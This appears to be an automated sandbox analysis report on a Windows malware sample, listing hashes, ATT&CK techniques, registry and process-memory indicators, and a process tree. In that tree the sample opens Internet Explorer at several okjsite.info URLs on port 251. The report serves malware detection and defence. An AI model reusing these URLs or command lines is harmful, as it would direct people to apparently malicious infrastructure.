2f338a4b004eb7321b4dcabc556c437c84e07f655aba75deeb20aa9b721f35f0

Analysis

max time kernel
137s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29/08/2024, 09:28

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Report Analysis Logs

General

Target

c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
Size

108KB
MD5

c88f51374f84cf577b61ea1998799d15
SHA1

f44c990ac0781347b76e2f00c9485d1537dff768
SHA256

2f338a4b004eb7321b4dcabc556c437c84e07f655aba75deeb20aa9b721f35f0
SHA512

9b8f04cb6a9b64a25001a95ad994cf61e68f10a84eec9bfcbf7009d831195d105681d8c65ed5b5ff7bcb88731e814423610593e85029ab3cd9e77edc72e2f136
SSDEEP

1536:f3cpyORJLuB4P4AJJ7GBdO2uejzVQcf+oA6qQGwVExHKGp3ky5z9wk64aXWkA:f3c1fP4AJJ4pVjJ3Go9qB9Np3sl4aXWz

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe

Loads dropped DLL 17 IoCs

pid	Process
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 61 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff00000000000000008604000065020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff720000001a000000f80400007f020000	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 605025c2f5f9da01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff1a0000001a000000a00400007f020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31128053"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00a82ad4f5f9da01	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3539885953"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039570b57fe416e4dbccca910bc3eabbd000000000200000000001066000000010000200000001689ce6e397225c13c2bcabe5f5d59c42504d5e6eb77d6c057d6945aeef56775000000000e8000000002000020000000e78fd001df9434807983a45659919f6d297ec62c26d18efe11dc0f876231a09f200000006312febe4dfddc0ba6eb96ae0ee176252ab6b8f18638742cbec1e14da9ea1fc240000000b30f7d3e411f02ce715f2067f988103bb57b897caf1ccc3bffd9bf612808a5a0e3081483909e493ab15340d39a41244c56d0a47fed3d2a3d97a5c6b420f43670	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3539885953"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3551761016"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10010ae6f5f9da01	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039570b57fe416e4dbccca910bc3eabbd00000000020000000000106600000001000020000000da942f939ac85e3364896f27b7699ee4bef4ed73790adc10b499d94b20e46643000000000e80000000020000200000005829c7427486c481b482aa559e87a73b9c9d208bd9b0c6514e68e7fe036fdcb020000000fc133f0610aeaf329acf1291b4877bf181d30db68177e0c9291db48896860d0b40000000c94821e30577d935620856efbc84389bfe05ef5dd0581bf7fc07aeaaa6c749d5aacd081c8731b56b671c4ed96ee540c63c0d0719b2acc7b22ca1108f90bf4ff4	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31128053"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039570b57fe416e4dbccca910bc3eabbd00000000020000000000106600000001000020000000f2cb187229e5c686cc65da9ccc7cba9264416bbda58247cc5487e94d00063639000000000e8000000002000020000000e72b822d31c3829dde7b590d48aab304de1fc4b643b24b6b51f988ee4a1cc41b200000001fe2559fb1a0f6aa907897ea60f5c545875ff3c19dea7fdac3dbcb59e2b2679540000000b45b94a83de359c860607638110b6182c077fb2aa58510233248ec5c8bed223c67a7353a74a52537c3fab62c6ac60e7786b512ae916f907548f75905a757feb0	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31128053"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3541760871"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "431688659"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{FE999A07-65E8-11EF-98CC-FA5B96DB06CB} = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039570b57fe416e4dbccca910bc3eabbd000000000200000000001066000000010000200000006c477977528270b5d492438ac654caa13b2294247120bbdbcedd45fb5d8e6df2000000000e8000000002000020000000c58d6b375ac2ac05b1923052121a1b88cc1841b1d7e793ec54b7919bf4e4522d20000000dba5330195deda1e4feb6be556813a627f152e9df7cbc66332363c11000f556440000000eeae51a1a43c47e88159f2c23c709a831c85c36593c52c423ea137814c121918cbb9bdb6a6a3d1e335b604f00475e0db8b8e771cec5752efa23150d0d6c4714a	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10d6ca09f6f9da01	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31128053"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039570b57fe416e4dbccca910bc3eabbd00000000020000000000106600000001000020000000675487781511dd68a3ead412a4d46ef58e3f06e150cbdbf73fc5ab2270b1fb8a000000000e8000000002000020000000a860c6f77b70fd23f250ecdd19f7e274d4ebde1cbf89d7d7b65c8de1d6f13c43200000007e2ada2f28ede11e2ff3a143e7cf88de8a19e86626fdf09ef1bd1cbca641a7f940000000b4a6f7eabb6c4bc40e54d9569740fb95e68a206cf8862a6eec92d9c51c9a0d19374f1c9d737e41833f67f9980fdc59b8d8b6e296e64a91a55a8ae99b59d9191d	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a089adf7f5f9da01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE

Suspicious use of SetWindowsHookEx 34 IoCs

pid	Process
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
4244	IEXPLORE.EXE
4244	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
4536	IEXPLORE.EXE
4536	IEXPLORE.EXE
4536	IEXPLORE.EXE
4536	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
3912	IEXPLORE.EXE
3912	IEXPLORE.EXE
3912	IEXPLORE.EXE
3912	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1332	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
4316	IEXPLORE.EXE
4316	IEXPLORE.EXE
4316	IEXPLORE.EXE
4316	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 4636	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	85
PID 4396 wrote to memory of 4636	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	85
PID 4396 wrote to memory of 4636	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	85
PID 4636 wrote to memory of 1492	4636	iexplore.exe	86
PID 4636 wrote to memory of 1492	4636	iexplore.exe	86
PID 1492 wrote to memory of 4244	1492	IEXPLORE.EXE	89
PID 1492 wrote to memory of 4244	1492	IEXPLORE.EXE	89
PID 1492 wrote to memory of 4244	1492	IEXPLORE.EXE	89
PID 4396 wrote to memory of 3348	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	90
PID 4396 wrote to memory of 3348	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	90
PID 4396 wrote to memory of 3348	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	90
PID 3348 wrote to memory of 1216	3348	iexplore.exe	91
PID 3348 wrote to memory of 1216	3348	iexplore.exe	91
PID 1492 wrote to memory of 1332	1492	IEXPLORE.EXE	92
PID 1492 wrote to memory of 1332	1492	IEXPLORE.EXE	92
PID 1492 wrote to memory of 1332	1492	IEXPLORE.EXE	92
PID 4396 wrote to memory of 4272	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	102
PID 4396 wrote to memory of 4272	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	102
PID 4396 wrote to memory of 4272	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	102
PID 4272 wrote to memory of 4556	4272	iexplore.exe	103
PID 4272 wrote to memory of 4556	4272	iexplore.exe	103
PID 1492 wrote to memory of 4536	1492	IEXPLORE.EXE	104
PID 1492 wrote to memory of 4536	1492	IEXPLORE.EXE	104
PID 1492 wrote to memory of 4536	1492	IEXPLORE.EXE	104
PID 4396 wrote to memory of 4364	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	107
PID 4396 wrote to memory of 4364	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	107
PID 4396 wrote to memory of 4364	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	107
PID 4364 wrote to memory of 1576	4364	iexplore.exe	108
PID 4364 wrote to memory of 1576	4364	iexplore.exe	108
PID 1492 wrote to memory of 3912	1492	IEXPLORE.EXE	109
PID 1492 wrote to memory of 3912	1492	IEXPLORE.EXE	109
PID 1492 wrote to memory of 3912	1492	IEXPLORE.EXE	109
PID 4396 wrote to memory of 1188	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	111
PID 4396 wrote to memory of 1188	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	111
PID 4396 wrote to memory of 1188	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	111
PID 1188 wrote to memory of 524	1188	iexplore.exe	112
PID 1188 wrote to memory of 524	1188	iexplore.exe	112
PID 4396 wrote to memory of 3192	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	121
PID 4396 wrote to memory of 3192	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	121
PID 4396 wrote to memory of 3192	4396	c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe	121
PID 3192 wrote to memory of 5112	3192	iexplore.exe	122
PID 3192 wrote to memory of 5112	3192	iexplore.exe	122
PID 1492 wrote to memory of 4316	1492	IEXPLORE.EXE	123
PID 1492 wrote to memory of 4316	1492	IEXPLORE.EXE	123
PID 1492 wrote to memory of 4316	1492	IEXPLORE.EXE	123

C:\Users\Admin\AppData\Local\Temp\c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c88f51374f84cf577b61ea1998799d15_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dcsg.okjsite.info:251/?i=ie&t=829&0eb4642019096e89544d71ecd678c2f7efcba61b=0eb4642019096e89544d71ecd678c2f7efcba61b&uu=JaffaCakes118&0eb4642019096e89544d71ecd678c2f7efcba61b
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dcsg.okjsite.info:251/?i=ie&t=829&0eb4642019096e89544d71ecd678c2f7efcba61b=0eb4642019096e89544d71ecd678c2f7efcba61b&uu=JaffaCakes118&0eb4642019096e89544d71ecd678c2f7efcba61b
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:17410 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:4244
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:214018 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1332
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:82956 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:4536
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:17424 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:3912
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:17438 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:4316
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dccv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=suying&t=829&uu=JaffaCakes118&ssc3c220eb4642019096e89544d71ecd678c2f7efcba61b3a
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dccv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=suying&t=829&uu=JaffaCakes118&ssc3c220eb4642019096e89544d71ecd678c2f7efcba61b3a
    3⤵
    - Modifies Internet Explorer settings
    PID:1216
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://rfvjk.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b=0eb4642019096e89544d71ecd678c2f7efcba61b&i=qianming&t=829&uu=JaffaCakes118&0eb4642019096e89544d71ecd678c2f7efcba61b
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://rfvjk.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b=0eb4642019096e89544d71ecd678c2f7efcba61b&i=qianming&t=829&uu=JaffaCakes118&0eb4642019096e89544d71ecd678c2f7efcba61b
    3⤵
    - Modifies Internet Explorer settings
    PID:4556
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://cdwsv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=4&t=829&uu=JaffaCakes118&wwww=a3aaa0eb4642019096e89544d71ecd678c2f7efcba61b
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://cdwsv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=4&t=829&uu=JaffaCakes118&wwww=a3aaa0eb4642019096e89544d71ecd678c2f7efcba61b
    3⤵
    - Modifies Internet Explorer settings
    PID:1576
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://cxscfv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=ooo&t=829&uu=JaffaCakes118&sd=ad20eb4642019096e89544d71ecd678c2f7efcba61basod
  2⤵
  - System Location Discovery: System Language Discovery
